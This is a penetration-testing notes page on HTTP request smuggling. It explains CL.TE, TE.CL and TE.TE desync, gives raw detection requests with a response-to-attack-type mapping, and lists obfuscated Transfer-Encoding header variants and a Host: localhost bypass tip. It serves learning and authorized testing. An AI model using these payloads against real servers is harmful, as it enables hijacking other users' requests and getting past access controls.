> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/web-pentesting/_vulnerabilities/http-request-smuggling.md).

# HTTP request smuggling

HTTP request smuggling is an attack that exploits disagreement between two servers about where one request ends and the next begins. Traffic often passes through a front-end server (like a proxy or load balancer) before reaching the back-end server, and they're supposed to interpret request boundaries the same way. The problem arises when an attacker crafts a request with ambiguous length information - typically by abusing the `Content-Length` and `Transfer-Encoding` headers -so the front-end sees one request while the back-end sees two. The leftover "smuggled" part then gets prepended to the next person's request. This lets an attacker do things like hijack other users' requests, steal their data, bypass security controls, or poison responses - because their hidden request gets mixed into someone else's traffic. The root cause is inconsistent parsing of where a request starts and stops between the two servers.

<figure><img src="/files/sygwBQMmeoHLCfMsGW3s" alt=""><figcaption></figcaption></figure>

***

**REFERENCE:**

<https://portswigger.net/web-security/request-smuggling#what-is-http-request-smuggling>

**Type of attacks:**

* `CL.TE`: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
* `TE.CL`: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
* `TE.TE`: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
* Ensure that you are using http/1.1 in your request (update within burp)
* ensure that the "Update Content-Length" option is unchecked for TE.TE and TE.CL (update within burp)

**1. START identifying HTTP request smuggling vulnerabilities**

```bash
# Detect option 1 (frontend)
# send a request containing the following
Content-Length:6
Transfer-Encoding: chunked
\r\n
3\r\n
abc\r\n
X\r\n

# based on its response, determine the type of attack
|--response (backend)		----->	CL.CL
|--reject (frontend)		----->	TE.CL OR TE.TE
|--timeout (backend)		----->	CL.TE
 
# Detect option 2 (backend)
# after sending the request, together with the detect option 1, you can determine the type of smuggle attack
Content-Length:6
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
X
|--response (backend)			  ------>	CL.CL OR TE.TE
|--timeout (backend)			  ------>	TE.CL
|--socket poison (backend)	------>	CL.TE
```

**A. Variations:**

* [ ] 403/401 page? Try adding an extra 'Host: localhost' header to to the smuggled request
* [ ] capture user response (Check CL.TE modal)

**B. TE.TE behavior: obfuscating the TE header:** Here, the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

There are potentially endless ways to obfuscate the Transfer-Encoding header. For example:

```
Transfer-Encoding: xchunked
 
Transfer-Encoding : chunked
 
Transfer-Encoding: chunked
Transfer-Encoding: x
 
Transfer-Encoding:[tab]chunked
 
[space]Transfer-Encoding: chunked
 
X: X[\n]Transfer-Encoding: chunked
 
Transfer-Encoding
: chunked
```